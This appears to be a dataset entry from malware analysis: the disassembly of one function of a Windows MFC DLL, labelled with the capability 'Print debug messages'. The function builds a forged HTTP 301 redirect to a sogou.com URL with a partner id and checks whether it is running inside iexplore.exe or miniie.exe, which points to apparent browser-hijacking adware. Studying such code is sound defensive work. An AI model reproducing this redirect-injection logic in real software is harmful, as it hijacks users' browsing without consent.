Function at 0x10004e90
Capabilities:
Print debug messages

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x10c
cmp eax, 1
jne 0x100051d8
mov eax, dword [esp + 0x110]
push eax
push 0x100083b8
call sub.MFC42.DLL_AfxInitExtensionModule
test eax, eax
jne 0x10004ec2
add esp, 0x10c
ret 0xc
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
mov edi, str.HTTP_1.1_301_Moved_Permanently_n_rLocation:_http:__www.sogou.com_index.htm_pidsogou_netb_2d579dc29360d8bb
rep stosd dword es:[edi], eax
or ecx, 0xffffffff
mov edi, 0x10008020
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
shr ecx, 2
mov edi, str.HTTP_1.1_301_Moved_Permanently_n_rLocation:_http:__www.sogou.com_index.htm_pidsogou_netb_2d579dc29360d8bb
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.TP_1.
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, str.HTTP_1.1_301_Moved_Permanently_n_rLocation:_http:__www.sogou.com_index.htm_pidsogou_netb_2d579dc29360d8bb
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x10008014
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, str.HTTP_1.1_301_Moved_Permanently_n_rLocation:_http:__www.sogou.com_index.htm_pidsogou_netb_2d579dc29360d8bb
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.01_Mo
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, str.HTTP_1.1_301_Moved_Permanently_n_rLocation:_http:__www.sogou.com_index.htm_pidsogou_netb_2d579dc29360d8bb
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.ved_Perm
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, str.HTTP_1.1_301_Moved_Permanently_n_rLocation:_http:__www.sogou.com_index.htm_pidsogou_netb_2d579dc29360d8bb
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x100
and ecx, 3
push str.http:__www.sogou.com_index.htm_pidsogou_netb_2d579dc29360d8bb
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.anently
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, str.HTTP_1.1_301_Moved_Permanently_n_rLocation:_http:__www.sogou.com_index.htm_pidsogou_netb_2d579dc29360d8bb
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.HTTP_1.1_301_Moved_Permanently_n_rLocation:_http:__www.sogou.com_index.htm_pidsogou_netb_2d579dc29360d8bb
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str.Location:
mov byte [ecx + str.HTTP_1.1_301_Moved_Permanently_n_rLocation:_http:__www.sogou.com_index.htm_pidsogou_netb_2d579dc29360d8bb], 0xa
mov byte [ecx + 0x10008289], 0xd
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, str.HTTP_1.1_301_Moved_Permanently_n_rLocation:_http:__www.sogou.com_index.htm_pidsogou_netb_2d579dc29360d8bb
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
mov edi, str.http:__www.sogou.com_index.htm_pidsogou_netb_2d579dc29360d8bb
rep stosd dword es:[edi], eax
mov ecx, 0x10008398
call fcn.10003af0
mov ebx, dword [sym.imp.SHLWAPI.dll_StrCmpNIA]
test eax, eax
je 0x10005063
mov edi, str.http:__www.sogou.com_index.htm_pidsogou_netb_2d579dc29360d8bb
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 8
jb 0x10005063
push 7
push str.http:__
push str.http:__www.sogou.com_index.htm_pidsogou_netb_2d579dc29360d8bb
call ebx
test eax, eax
je 0x10005088
mov edi, 0x10007fac
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.http:__www.sogou.com_index.htm_pidsogou_netb_2d579dc29360d8bb
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x14
push str.http:__www.sogou.com
push str.http:__www.sogou.com_index.htm_pidsogou_netb_2d579dc29360d8bb
call ebx
test eax, eax
je 0x100050b1
push 0xe
push str.http:__192.168.
push str.http:__www.sogou.com_index.htm_pidsogou_netb_2d579dc29360d8bb
call ebx
test eax, eax
mov edi, str.http:__www.sogou.com_index.htm_pidsogou_netb_2d579dc29360d8bb
jne 0x100050b6
mov edi, 0x10007fac
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x14], al
mov esi, edi
mov edx, ecx
mov edi, str.HTTP_1.1_301_Moved_Permanently_n_rLocation:_http:__www.sogou.com_index.htm_pidsogou_netb_2d579dc29360d8bb
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x104
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x19]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::MakeLower
mov edx, dword [esp + 0xc]
push 0x5c
lea ecx, [esp + 0x10]
mov esi, dword [edx - 8]
call sub.MFC42.DLL_CString::ReverseFind
sub esi, eax
lea eax, [esp + 0x10]
dec esi
lea ecx, [esp + 0xc]
push esi
push eax
call sub.MFC42.DLL_CString::Right
push eax
lea ecx, [esp + 0x10]
call fcn.1000523c
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0xc]
mov esi, dword [sym.imp.MSVCRT.dll__mbscmp]
push str.iexplore.exe
push ecx
call esi
add esp, 8
test eax, eax
jne 0x10005173
mov dword [0x100083d4], 1
mov edx, dword [esp + 0xc]
push str.miniie.exe
push edx
call esi
add esp, 8
test eax, eax
pop edi
pop esi
pop ebx
jne 0x10005193
mov dword [0x100083d8], 1
push 0
call fcn.10004e00
push str.Main_ok_
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x40
call sub.MFC42.DLL_operatornew
add esp, 4
test eax, eax
je 0x100051c1
push 0
push 0x100083b8
mov ecx, eax
call sub.MFC42.DLL_CDynLinkLibrary::CDynLinkLibrary
lea ecx, [esp]
call sub.MFC42.DLL_CString::CString
mov eax, 1
add esp, 0x10c
ret 0xc
test eax, eax
jne 0x100051e7
push eax
push 0x100083b8
call sub.MFC42.DLL_AfxTermExtensionModule
mov eax, 1
add esp, 0x10c
ret 0xc